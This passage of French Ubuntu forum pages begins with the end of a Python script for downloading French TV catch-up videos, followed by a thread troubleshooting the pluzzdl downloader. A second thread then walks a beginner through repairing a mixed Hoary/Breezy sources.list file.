debut_id = ''
html = urlopen(sys.argv[1]).read()
nom = sys.argv[1].split('/')[-1:][0]
no = nom.split('.')[-2:][0]
soup = BeautifulSoup.BeautifulSoup(html)
if 'tmc.tv' in str(soup) or 'tf1.fr' in str(soup):
debut_id = str(soup.find('div', attrs={'class' : 'unique' }))
if 'nt1.tv' in str(soup) or 'hd1.tv' in str(soup):
debut_id = str(soup.find('section', attrs={'class' : 'player-unique' }))
id = [x.strip() for x in re.findall("mediaId :([^,]*)", debut_id)][0]
id_url1 = get_wat(id)
opener = urllib2.build_opener()
opener.addheaders = [('User-agent', random.choice(listeUserAgents))]
data = opener.open(id_url1).read()
opener.close()
if data[0:4] == 'http':
ua = random.choice(listeUserAgents)
arguments = 'curl "%s" -L -g -A "%s" -o "%s.mp4"' % (data, ua, no)
print arguments
process = subprocess.Popen(arguments, stdout=subprocess.PIPE, shell=True).communicate()[0]
if data[0:4] == 'rtmp':
host = re.search('rtmpte://(.*)/ondemand', data).group(1)
host = host.replace('rtmpte', 'rtmpe')
data0 = re.search('rtmpte://(.*)h264', data).group(0)
cmds = 'rtmpdump -r "%s" -c 443 -m 10 -w b23434cbed89c9eaf520373c4c6f26e1f7326896dee4b1719e8d9acda0c19e99 -x 343427 -o "%s.mp4" " --resume"' % (data0, str(no))
f = open(str(no), 'w')
f.write(cmds)
f.close()
arguments = shlex.split( cmds )
print arguments
cpt = 0
while True:
p = subprocess.Popen( arguments,
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = p.communicate()
if p.returncode != 0:
print "Erreur : le sous-process s\'est terminé avec (le code d\'erreur est " + str(p.returncode) + ")"
# status = False
if cpt > 5:
break
cpt += 1
time.sleep(3)
else:
# status = True
break
if __name__ == "__main__":
Hors ligne
#2681 Le 16/02/2013, à 01:15
angeline
Re : TVDownloader: télécharger les médias du net !
Bonsoir à tous.
Ce soir, je découvre que "www.francetvinfo.fr" a encore changé de protocole, et plus possible télécharger le journal de France2 le 20 heures.
Je suis en Amérique du sud.
Est-ce vrai aussi pour vous ?
Merci.
ıɔǝɔ ǝɯɯoɔ xnǝıɯ ʇsǝ,ɔ nʇunqnʞ
Hors ligne
#2682 Le 16/02/2013, à 08:52
gl38
Re : TVDownloader: télécharger les médias du net !
Le journal de 20h de France 2 du 15/2 se télécharge normalement chez moi (en France).
Cordialement,
Guy
Hors ligne
#2683 Le 16/02/2013, à 10:09
k3c
Re : TVDownloader: télécharger les médias du net !
@ angeline
avec pluzzdl 0.9.4 je viens de télécharger le journal de 20 h
gg@gg-SATELLITE-L755:~$ pluzzdl -v http://pluzz.francetv.fr/videos/jt20h.html
[DEBUG ] main.py pluzzdl 0.9.4 avec Python 2.7.3 (i686)
[DEBUG ] main.py OS : Linux #58-Ubuntu SMP Thu Jan 24 15:51:02 UTC 2013
[DEBUG ] Navigateur.py GET http://pluzz.francetv.fr/videos/jt20h.html
[DEBUG ] PluzzDL.py ID de l'émission : 77106215
[DEBUG ] Navigateur.py GET http://www.pluzz.fr/appftv/webservices/video/getInfosOeuvre.php?mode=zeri&id-diffusion=77106215
[DEBUG ] PluzzDL.py Lien MMS : mms://a988.v101995.c10199.e.vm.akamaistream.net/7/988/10199/3f97c7e6/ftvigrp.download.akamai.com/10199/cappuccino/production/publication/Autre/Autre/2013/S07/J5/738525_jt20h_20130215.wmv
[DEBUG ] PluzzDL.py Lien RTMP : None
[DEBUG ] PluzzDL.py URL manifest : http://ftvodhdsecz-f.akamaihd.net/z/streaming-adaptatif/2013/S07/J5/77106215-20130215-,398,632,934,k.mp4.csmil/manifest.f4m
[DEBUG ] PluzzDL.py URL m3u8 : http://medias2.francetv.fr/catchup-mobile/france-dom-tom/non-token/non-drm/m3u8/2013/S07/J5/77106215-20130215.m3u8
[DEBUG ] PluzzDL.py Utilisation de DRM : non
[DEBUG ] PluzzDL.py Chaine : France 2
[DEBUG ] Historique.py Historique chargé
[DEBUG ] Navigateur.py GET http://medias2.francetv.fr/catchup-mobile/france-dom-tom/non-token/non-drm/m3u8/2013/S07/J5/77106215-20130215.m3u8
[DEBUG ] Navigateur.py GET http://medias2.francetv.fr/catchup-mobile/france-dom-tom/non-token/non-drm/m3u8/2013/S07/J5/77106215-20130215-840k.m3u8
[DEBUG ] PluzzDL.py Nombre de fragments : 242
[INFO ] PluzzDL.py Début du téléchargement des fragments
et ça se finit par
[DEBUG ] Navigateur.py GET http://medias2.francetv.fr/catchup-mobile/france-dom-tom/non-token/non-drm/m3u8/2013/S07/J5/77106215-20130215-840k/77106215-20130215-240.ts
[DEBUG ] Navigateur.py GET http://medias2.francetv.fr/catchup-mobile/france-dom-tom/non-token/non-drm/m3u8/2013/S07/J5/77106215-20130215-840k/77106215-20130215-241.ts
[INFO ] PluzzDL.py Fin du téléchargement
[INFO ] PluzzDL.py Création du fichier MKV (vidéo finale) ; veuillez attendre quelques instants
[INFO ] PluzzDL.py Fin !
[DEBUG ] Historique.py Historique sauvé
gg@gg-SATELLITE-L755:~$
Hors ligne
#2684 Le 16/02/2013, à 11:29
mulder29
Re : TVDownloader: télécharger les médias du net !
Ah mince, et toujours pas de solution pour moi ? :S
Hors ligne
#2685 Le 16/02/2013, à 12:16
thom83
Re : TVDownloader: télécharger les médias du net !
Bonjour,
@ k3c
J'ai testé la version 0.7 ci-dessus (la partie inférieure) avec succès après avoir ajouté le «main()» qui va bien.
Est-il possible d'améliorer cette version en favorisant les variantes HD des émissions plutôt qu'en SD, quitte à ce que cela prenne plus de place sur le disque ?
Cela ferait une différence sur un écran un peu grand...
Dernière modification par thom83 (Le 16/02/2013, à 12:17)
Hors ligne
#2686 Le 16/02/2013, à 12:33
ynad
Re : TVDownloader: télécharger les médias du net !
@ mulder29
voila comment j'ai fait:
j'ai créer un répertoire D8
dans ce répertoire j'ai copier coller le script #2646 page 106 de k3C dans un éditeur de texte et sauvegarder en d8.py
dans le même répertoire j'ai ouvert un terminal et lancer la commande:
python d8.py http://www.d8.tv/d8-series/pid5313-d8-h.html
si la vidéo est toujours en ligne elle se charge dans ce répertoire
ce script est valable pour d8, k3c en a fait d'autres pour tf1 etc.
il y a pluzdl pour le site de pluzz.
espérant t'aider un peu...
Hors ligne
#2687 Le 16/02/2013, à 13:39
k3c
Re : TVDownloader: télécharger les médias du net !
@ thom83
je prux sortir un hack rapidement, quitte à faire propre plus tard
Hors ligne
#2688 Le 16/02/2013, à 14:05
mulder29
Re : TVDownloader: télécharger les médias du net !
On me met encore
m = re.search('\d{6}$',sys.argv[1])
bash: Erreur de syntaxe près du symbole inattendu « ( »
~$ if m is None:
> try:
> id = s.findAll('div',attrs={"class":u"block-common block-player-programme"})[0]('canal:player')[0]['videoid']
bash: Erreur de syntaxe près du symbole inattendu « ( »
~$ except:
Commande 'except:' non trouvée, vouliez-vous dire :
La commande 'except' du paquet 'qmail' (universe)
except: : commande introuvable
~$
Display all 2596 possibilities? (y or n)
~$ t 'imposiible de trouver l\'id de la video'
>
Sans doute là que ça coince.
J'ai tapé la ligne de commande dans le Terminal, rien ne se passe.
(en revanche, ma flèche du curseur est devenue une croix)
Hors ligne
#2689 Le 16/02/2013, à 14:10
angeline
Re : TVDownloader: télécharger les médias du net !
@K3c,
Merci, j'ai le même début, mais pas la même fin
cb@cb-desktop:~$ pluzzdl -v http://pluzz.francetv.fr/videos/jt20h.html
[DEBUG ] main.py pluzzdl 0.9.4 avec Python 2.7.3 (i686)
[DEBUG ] main.py OS : Linux #58-Ubuntu SMP Thu Jan 24 15:51:02 UTC 2013
[DEBUG ] Navigateur.py GET http://pluzz.francetv.fr/videos/jt20h.html
[DEBUG ] PluzzDL.py ID de l'émission : 77106215
[DEBUG ] Navigateur.py GET http://www.pluzz.fr/appftv/webservices/video/getInfosOeuvre.php?mode=zeri&id-diffusion=77106215
[DEBUG ] PluzzDL.py Lien MMS : mms://a988.v101995.c10199.e.vm.akamaistream.net/7/988/10199/3f97c7e6/ftvigrp.download.akamai.com/10199/cappuccino/production/publication/Autre/Autre/2013/S07/J5/738525_jt20h_20130215.wmv
[DEBUG ] PluzzDL.py Lien RTMP : None
[DEBUG ] PluzzDL.py URL manifest : http://ftvodhdsecz-f.akamaihd.net/z/streaming-adaptatif/2013/S07/J5/77106215-20130215-,398,632,934,k.mp4.csmil/manifest.f4m
[DEBUG ] PluzzDL.py URL m3u8 : http://medias2.francetv.fr/catchup-mobile/france-dom-tom/non-token/non-drm/m3u8/2013/S07/J5/77106215-20130215.m3u8
[DEBUG ] PluzzDL.py Utilisation de DRM : non
[DEBUG ] PluzzDL.py Chaine : France 2
[DEBUG ] Historique.py Historique chargé
[DEBUG ] Navigateur.py GET http://medias2.francetv.fr/catchup-mobile/france-dom-tom/non-token/non-drm/m3u8/2013/S07/J5/77106215-20130215.m3u8
[DEBUG ] Navigateur.py Forbidden
Traceback (most recent call last):
File "/usr/share/pluzzdl/main.py", line 91, in <module>
progressFnct = progressFnct )
File "/usr/share/pluzzdl/PluzzDL.py", line 119, in __init__
downloader.telecharger()
File "/usr/share/pluzzdl/PluzzDL.py", line 259, in telecharger
self.m3u8 = self.navigateur.getFichier( self.m3u8URL )
File "/usr/share/pluzzdl/Navigateur.py", line 58, in getFichier
page = self.urlOpener.open( requete, timeout = self.timeOut )
File "/usr/lib/python2.7/urllib2.py", line 406, in open
response = meth(req, response)
File "/usr/lib/python2.7/urllib2.py", line 519, in http_response
'http', request, response, code, msg, hdrs)
File "/usr/lib/python2.7/urllib2.py", line 444, in error
return self._call_chain(*args)
File "/usr/lib/python2.7/urllib2.py", line 378, in _call_chain
result = func(*args)
File "/usr/lib/python2.7/urllib2.py", line 527, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 403: Forbidden
[DEBUG ] Historique.py Historique sauvé
Je sèche.
PS.: cela va si mal que cela en France... que les infos ne doivent pas sortir de l'hexagone ?
Edit: Oubliez la ligne au dessus... Avec Opera, cela se charge, mais très lentement, (en pointillés) du à mon internet très lent, et ce n'est pas regardable! D'où la nécessité de télécharger.
Dernière modification par angeline (Le 16/02/2013, à 14:25)
ıɔǝɔ ǝɯɯoɔ xnǝıɯ ʇsǝ,ɔ nʇunqnʞ
Hors ligne
#2690 Le 16/02/2013, à 15:05
k3c
Re : TVDownloader: télécharger les médias du net !
@ mulder29
tu exécutes du bash, pas du python
@ angeline
n'étant pas en France, il te faudrait un proxy France,non ?
Hors ligne
#2691 Le 16/02/2013, à 15:12
mulder29
Re : TVDownloader: télécharger les médias du net !
ok et comment je fais pour passer en mode "python" ?
Hors ligne
#2692 Le 16/02/2013, à 15:13
angeline
Re : TVDownloader: télécharger les médias du net !
@K3c
Par Opera ou Firefox, je ne passe pas par un proxy actuellement.
Avec Opera, j'ai droit à un bonus de 50 secondes de pub... qui fonctionne très bien !
Par Firefox, c'est bloqué par AdBlock, mais le journal dans tous les cas arrive trop lentement.
Le pb me parait autre part.
ıɔǝɔ ǝɯɯoɔ xnǝıɯ ʇsǝ,ɔ nʇunqnʞ
Hors ligne
#2693 Le 16/02/2013, à 15:53
angeline
Re : TVDownloader: télécharger les médias du net !
@Kc2
Si je récupère
[DEBUG ] PluzzDL.py Lien MMS : mms://a988.v101995.c10199.e.vm.akamaistream.net/7/988/10199/3f97c7e6/ftvigrp.download.akamai.com/10199/cappuccino/production/publication/Autre/Autre/2013/S07/J5/738525_jt20h_20130215.wmv
que je change le "mms" en "rtsp" le journal est téléchargeable par mon downloader préféré !
Mais pas par "pluzzdl"
ıɔǝɔ ǝɯɯoɔ xnǝıɯ ʇsǝ,ɔ nʇunqnʞ
Hors ligne
#2694 Le 16/02/2013, à 23:22
angeline
Re : TVDownloader: télécharger les médias du net !
C'était trop beau... cela n'a pas duré.
[DEBUG ] PluzzDL.py Lien MMS : None
[DEBUG ] PluzzDL.py Lien RTMP : None
Donc, comment passer par un proxy S.V.P.
ıɔǝɔ ǝɯɯoɔ xnǝıɯ ʇsǝ,ɔ nʇunqnʞ
Hors ligne
#2695 Le 16/02/2013, à 23:28
mulder29
Re : TVDownloader: télécharger les médias du net !
Ok, j'ai installé idle, j'ai lancé une python shell et j'ai ouvert mon dossier leafpad d8.py en prenant soin de copier/coller le texte
J'ai ensuite copié dans le terminal le lien
python d8.py http://www.d8.tv/d8-series/pid5313-d8-h.html
et... il n'a l'air de rien se passer en fait.
Hors ligne
#2696 Le 17/02/2013, à 00:11
k3c
Re : TVDownloader: télécharger les médias du net !
@ angeline
$ pluzzdl --help
usage: pluzzdl [options] urlEmission
Télécharge les émissions de Pluzz
positional arguments:
urlEmission URL de l'émission Pluzz a charger
optional arguments:
-h, --help show this help message and exit
-b, --progressbar affiche la progression du téléchargement
-p PROXY, --proxy PROXY
utilise un proxy HTTP au format suivant
http://URL:PORT
-s, --sock si un proxy est fourni avec l'option -p, un proxy
SOCKS5 est utilisé au format suivant ADRESSE:PORT
-v, --verbose affiche les informations de debugage
-t, --soustitres récupère le fichier de sous-titres de la vidéo (si
disponible)
--nocolor désactive la couleur dans le terminal
--version show program's version number and exit
donc pluzzdl -p http://1.2.3.4:80 ...
en supposant que 1.2.3.4:80 est un proxy français valide
@ mulder 29
quand je lance ta commande, ça m'affiche
python d8.py http://www.d8.tv/d8-series/pid5313-d8-h.html
rtmpdump -r "rtmp://vod-fms.canalplus.fr/ondemand/videos/1302/1047160_20_1500k.mp4" -o "H.mp4"
en fait cette procédure lance juste la commande ci-dessus
Hors ligne
#2697 Le 17/02/2013, à 00:51
angeline
Re : TVDownloader: télécharger les médias du net !
@K3c
Merci pour la réponse.
Cependant, je doute !
J'ai essayé 6/7 proxy... pas un ne veut coopérer.
Par un navigateur: Firefox, Opéra, ou Chromium, l'émission passe. Sans proxy.
Par pluzzdll, toujours la même interdiction
cb@cb-desktop:~$ pluzzdl -v http://pluzz.francetv.fr/videos/jt20h.html
[DEBUG ] main.py pluzzdl 0.9.4 avec Python 2.7.3 (i686)
[DEBUG ] main.py OS : Linux #58-Ubuntu SMP Thu Jan 24 15:51:02 UTC 2013
[DEBUG ] Navigateur.py GET http://pluzz.francetv.fr/videos/jt20h.html
[DEBUG ] PluzzDL.py ID de l'émission : 77496935
[DEBUG ] Navigateur.py GET http://www.pluzz.fr/appftv/webservices/video/getInfosOeuvre.php?mode=zeri&id-diffusion=77496935
[DEBUG ] PluzzDL.py Lien MMS : mms://a988.v101995.c10199.e.vm.akamaistream.net/7/988/10199/3f97c7e6/ftvigrp.download.akamai.com/10199/cappuccino/production/publication/Autre/Autre/2013/S07/J6/740386_jt20h_20130216.wmv
[DEBUG ] PluzzDL.py Lien RTMP : None
[DEBUG ] PluzzDL.py URL manifest : http://ftvodhdsecz-f.akamaihd.net/z/streaming-adaptatif/2013/S07/J6/77496935-20130216-,398,632,934,k.mp4.csmil/manifest.f4m
[DEBUG ] PluzzDL.py URL m3u8 : http://medias2.francetv.fr/catchup-mobile/france-dom-tom/non-token/non-drm/m3u8/2013/S07/J6/77496935-20130216.m3u8
[DEBUG ] PluzzDL.py Utilisation de DRM : non
[DEBUG ] PluzzDL.py Chaine : France 2
[DEBUG ] Historique.py Historique chargé
[DEBUG ] Navigateur.py GET http://medias2.francetv.fr/catchup-mobile/france-dom-tom/non-token/non-drm/m3u8/2013/S07/J6/77496935-20130216.m3u8
[DEBUG ] Navigateur.py Forbidden
Traceback (most recent call last):
File "/usr/share/pluzzdl/main.py", line 91, in <module>
progressFnct = progressFnct )
File "/usr/share/pluzzdl/PluzzDL.py", line 119, in __init__
downloader.telecharger()
File "/usr/share/pluzzdl/PluzzDL.py", line 259, in telecharger
self.m3u8 = self.navigateur.getFichier( self.m3u8URL )
File "/usr/share/pluzzdl/Navigateur.py", line 58, in getFichier
page = self.urlOpener.open( requete, timeout = self.timeOut )
File "/usr/lib/python2.7/urllib2.py", line 406, in open
response = meth(req, response)
File "/usr/lib/python2.7/urllib2.py", line 519, in http_response
'http', request, response, code, msg, hdrs)
File "/usr/lib/python2.7/urllib2.py", line 444, in error
return self._call_chain(*args)
File "/usr/lib/python2.7/urllib2.py", line 378, in _call_chain
result = func(*args)
File "/usr/lib/python2.7/urllib2.py", line 527, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 403: Forbidden
[DEBUG ] Historique.py Historique sauvé
Par chance, France télévision s'est réveillé, et maintenant une URL en mms apparait.
Il est 18h ici, je télécharge.
Avec proxy j'obtiens:
pluzzdl -v -p http://176.31.247.227:8085 http://pluzz.francetv.fr/videos/jt20h.html
[DEBUG ] main.py pluzzdl 0.9.4 avec Python 2.7.3 (i686)
[DEBUG ] main.py OS : Linux #58-Ubuntu SMP Thu Jan 24 15:51:02 UTC 2013
[DEBUG ] Navigateur.py GET http://pluzz.francetv.fr/videos/jt20h.html
[CRITICAL] PluzzDL.py Impossible de récupérer l'ID de l'émission
Mais je pense que peu de proxy laissent passer les infos de vidéo, du moins dans les gratuits.
Je reste à l'écoute.
Dernière modification par angeline (Le 17/02/2013, à 00:53)
ıɔǝɔ ǝɯɯoɔ xnǝıɯ ʇsǝ,ɔ nʇunqnʞ
Hors ligne
#2698 Le 17/02/2013, à 02:17
mulder29
Re : TVDownloader: télécharger les médias du net !
@ mulder 29
quand je lance ta commande, ça m'affiche
python d8.py http://www.d8.tv/d8-series/pid5313-d8-h.html
rtmpdump -r "rtmp://vod-fms.canalplus.fr/ondemand/videos/1302/1047160_20_1500k.mp4" -o "H.mp4"
en fait cette procédure lance juste la commande ci-dessus
Euh, moi, ça reste sur la ligne sur python...
et aucune autre réaction o_O
Ok, donc il y a vraiment un bug dans mon système et python est inutilisable chez moi.
Hors ligne
#2699 Le 17/02/2013, à 02:20
k3c
Re : TVDownloader: télécharger les médias du net !
si tu tapes dans un terminal
python
ça t'affiche quoi ?
Hors ligne
#2700 Le 17/02/2013, à 10:59
mulder29
Re : TVDownloader: télécharger les médias du net !
Ça m'affiche :
Python 2.7.3 (default, Aug 1 2012, 05:16:07)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
par rapport à la commande fait précédemment, tu en déduis ?
Hors ligne
|
Trudy
Résolu ! Ouvrir fenêtre Dépôts
Bonjour, Je voudrais savoir comment ouvrir la fenêtre Dépots, si je ne l'ai pas dans Système-Aministration ... Merci pour vos réponses !
Dernière modification par Trudy (Le 04/12/2005, à 15:57)
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Ca s'appel "Gestionnaire de paquets synaptic" dans le chemin que tu donnes.......;)
Hors ligne
janno59
Re : Résolu ! Ouvrir fenêtre Dépôts
dans systeme>administration>gestionnaire de paquets Synaptic.
Puis onglet categorie.
Sinon en console
sudo gedit /etc/apt/sources.list
jean
Hors ligne
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Merci ! Mais, je voulais ouvrir cette fenêtre parce que lorsque j'ai voulu ouvrir le Gestionnaire de fichiers, "il" me disait:
" Les problèmes suivants ont été rencontrés: E. Le type "breesy" est inconnu sur la ligne 3 dans la liste des /sources/etc/apt E. impossible de lire la liste des sources
Vous pouvez essayer de corriger ce problème en ouvrant la fenêtr'e des dépots !
J'ai fait ce que Jean tu me conseillais et sur la console, cela ouvre une fenêtre sources.list(etc/apt) - gedidt avec cela d'écrit:
#deb cdrom:[Ubuntu 5.10 _Breezy Badger_ - Release i386 (20051012)]/
breezy main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
## Uncomment the following two lines to add software from the 'universe'
## repository.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
deb-src http://fr.archive.ubuntu.com/ubuntu breezy universe
deb http://fr.archive.ubuntu.com/ubuntu breezy multiverse universe
main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy multiverse
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://fr.archive.ubuntu.com/ubuntu breezy-backports main
restricted universe multiverse
# deb-src http://fr.archive.ubuntu.com/ubuntu breezy-backports main
restricted universe multiverse
# PLF repositories, contains litigious packages, see
http://wiki.ubuntu-fr.org/doc/plf
deb http://archive.ubuntu.com/ubuntu hoary main restricted multiverse universe
deb-src http://archive.ubuntu.com/ubuntu hoary main restricted
multiverse universe
deb http://archive.ubuntu.com/ubuntu hoary-updates main restricted
deb-src http://archive.ubuntu.com/ubuntu hoary-updates main restricted
deb http://security.ubuntu.com/ubuntu hoary-security main restricted universe
deb-src http://security.ubuntu.com/ubuntu hoary-security main
restricted universe
## Freecontrib, funny packages by the Ubuntu PLF Team
deb ftp://ftp.free.fr/pub/Distributions_Linux/plf/ubuntu/plf/ breezy
free non-free
deb-src ftp://ftp.free.fr/pub/Distributions_Linux/plf/ubuntu/plf/
breezy free non-free
deb ftp://ftp.free.fr/pub/Distributions_Linux/plf/ubuntu/freecontrib/
breezy free non-free
deb-src ftp://ftp.free.fr/pub/Distributions_Linux/plf/ubuntu/freecontrib/
breezy free non-free
deb http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
deb http://fr.archive.ubuntu.com/ubuntu/ breezy universe
Que devrais je faire avec ça ?? Merci pour vos réponses ! !
Excusez moi si le texte est long ! !
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Bonjour,
Si tu es sous Hoary il te faut un sources.list avec les dépots Hoary
Si tu es sous Breezy il te faut un sources.list avec les dépots Breezy
Ton sources.list est un mix des 2
A+
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Merci ! ! Mais je fais quoi et comment ??
Sois gentil de tout m'expliquer, je débute sur Ubuntu ! !
Merci !
Et sur le Terminal après que j'ai mis ce que Jean conseillait il est dit :
"(gedit:17907): GnomePrint-WARNING **: Could not create filter from description ' frgba': filter 'frgba' is unknown
(gedit:17907): GnomePrintCupsPlugin-WARNING **: iconv does not support ppd character encoding: ISOLatin1, trying CSISOLatin1
gaetane@linux:~$
Dernière modification par Trudy (Le 04/12/2005, à 12:17)
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Tiens ,je te refiles le miens, se sera plus clair,on sais jamais si tu enlèeve des dépots qui fallait pas....
Au fait, tu es bien en breezy ??? sinon il est pas valable !
#deb cdrom:[Ubuntu 5.10 _Breezy Badger_ - Release i386 (20051012)]/ breezy main restricted
deb http://fr.archive.ubuntu.com/ubuntu breezy main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
## Uncomment the following two lines to add software from the 'universe'
## repository.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
deb http://fr.archive.ubuntu.com/ubuntu breezy universe
deb-src http://fr.archive.ubuntu.com/ubuntu breezy universe
deb http://fr.archive.ubuntu.com/ubuntu breezy multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu breezy multiverse
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
# deb-src http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
deb http://security.ubuntu.com/ubuntu breezy-security main restricted
deb-src http://security.ubuntu.com/ubuntu breezy-security main restricted
deb http://security.ubuntu.com/ubuntu breezy-security universe
deb-src http://security.ubuntu.com/ubuntu breezy-security universe
deb http://security.ubuntu.com/ubuntu breezy-security multiverse
deb-src http://security.ubuntu.com/ubuntu breezy-security multiverse
## PLF repositories, contains litigious packages, see http://wiki.ubuntu-fr.org/doc/plf
deb http://antesis.freecontrib.org/mirrors/ubuntu/plf/ breezy free non-free
deb-src http://antesis.freecontrib.org/mirrors/ubuntu/plf/ breezy free non-free
## Freecontrib, funny packages by the Ubuntu PLF Team
deb http://antesis.freecontrib.org/mirrors/ubuntu/freecontrib/ breezy free non-free
deb-src http://antesis.freecontrib.org/mirrors/ubuntu/freecontrib/ breezy free non-free
Hors ligne
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Merci !
Comment je peux savoir si je suis sur breezy ?? Michel disait que mon "source list" est un mixe des deux ?? (Hoary et Breezy)!
Je ne sais pas ce que c'est Breezy et Hoary !!!!
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Quand l'as tu installé ? as tu fais un apt-get dist-upgrade ? vas en console, et tape dedans uname -a et copie/colle le resultat ....
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Re
Hoary est la version 5.04, Breezy la version 5.10 ( a.mm)
Quel Kernel utilises-tu : 2.6.12-xx Brezy
Dans Applications ---> Outils Système as-tu Editeur de menu Applications ? Si oui, Breezy
A+
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Voilà le résultat !
Linux linux 2.6.12-10-386 #1 Fri Nov 18 11:51:02 UTC 2005 i686 GNU/Linux
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Breezy, on a posté presque en même temps
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Michel, oui, j'ai editeur de Menu
Donc je serais Breezy ! ?
Qu'est ce que c'est "Kernel' ? Et Breezy et Hoary ?? Des variantes de Ubuntu ???
Dernière modification par Trudy (Le 04/12/2005, à 12:57)
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Pas des variantes, disons des versions d'Ubuntu. Il y a eu Warty, Hoary, Breezy Badger étant la dernière stable, sortie le 13/10/05.
La prochaine version sera la Dapper Drake qui est en unstable (testing on va dire) actuellement.
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Bon, je viens de copier coller ce que m'a donné Express ses sources.list.
Et je retourne pour essayer d'ouvrir mon Gestionnaire de paquets Synaptic, et cela revient comme je vous l'ai mis ci dessus : les deux erreurs ! ! ??? Pourtant, cela devrait marcher, puisque je suis Breezy ! ! ????
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Une nouvelle version tous les 6 Mois, numérotés de cette façon ,le premier = l'année ! :
4.10-->Warty
5.04-->Hoary
5.10-->Breezy
6.04-->Dapper Drake (la prochaine version,actuellement "unstable")
Dernière modification par Express (Le 04/12/2005, à 13:10)
Hors ligne
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Si tu as copier/coller ce que je t'ai fournis, il faut en suite ouvrir le gestionnaire comme tu le fais , mais en haut à gauche tu dois cliquer sur l'onglet "recharger" ou alors en console tu fais : sudo apt-get update
Dernière modification par Express (Le 04/12/2005, à 13:14)
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Copy le sources.list que t'a donné Express
sudo gedit /etc/apt/sources.list
Selectionne tout dans ton sources.list colle le sources.list d'express, enregistre le.
Dans un terminal: sudo apt-get update
et après ça marchera
A+
Dernière modification par michel2652 (Le 04/12/2005, à 14:14)
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Express, je te laisse on poste en double :):)
A+
Express
Re : Résolu ! Ouvrir fenêtre Dépôts
Express, je te laisse on poste en double :):)
A+
:( mais on n'est pas trops de deux .....
Hors ligne
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
J'ai "copié-collé" ce que tu m'as fourni. J'ai ouvert le Gestionnaire de fichiers, j'ai cliqué sur "Recharger" : ces deux erreurs reviennent ! !
Puis: Echec du téléchargement de tous les fichiers d'index
Le dépot ne semble plus être disponible ou ne peut être contacté, à cause d'un problème de réseau (??) S'il reste un fichier d'index plus ancien, il sera utlisé, sinon le dépot sera ignoré !
?????
Hors ligne
Trudy
Re : Résolu ! Ouvrir fenêtre Dépôts
Rebonjour ! !
J'ai fait, comme tout au début Jeano me le conseiollait: sudo gedit /etc/apt/sources.list
Là dans la fenêtre qui s'est ouverte, j'ai tout effacé et copie ce que Express m'avait fourni ! !
Maintenant, Michel, tu me dis d'écrire dans le Terminal : sudo gedit /etc/X11/xorg.conf Et c'est une toute autre fenêtre qui s'ouvre ! ! ??? dois faire la même chose dans celle ci: effacer ce qu'il y a et y mettre le texte d'Express ??? Ou ai je fait l'erreur ??
Hors ligne
michel2652
Re : Résolu ! Ouvrir fenêtre Dépôts
Re,
sudo gedit
Copy ce sources.list
deb http://fr.archive.ubuntu.com/ubuntu breezy universe main restricted multiverse
deb http://security.ubuntu.com/ubuntu breezy-security universe main restricted multiverse
deb http://archive.ubuntu.com/ubuntu/ breezy-updates main restricted universe multiverse
#Backports
deb http://archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
deb http://ubuntu-backports.mirrormax.net/ breezy-extras main restricted universe multiverse
#PLF
deb http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
Ficheir ---> Enregistrer sous ---> Nom du fichier sources.list
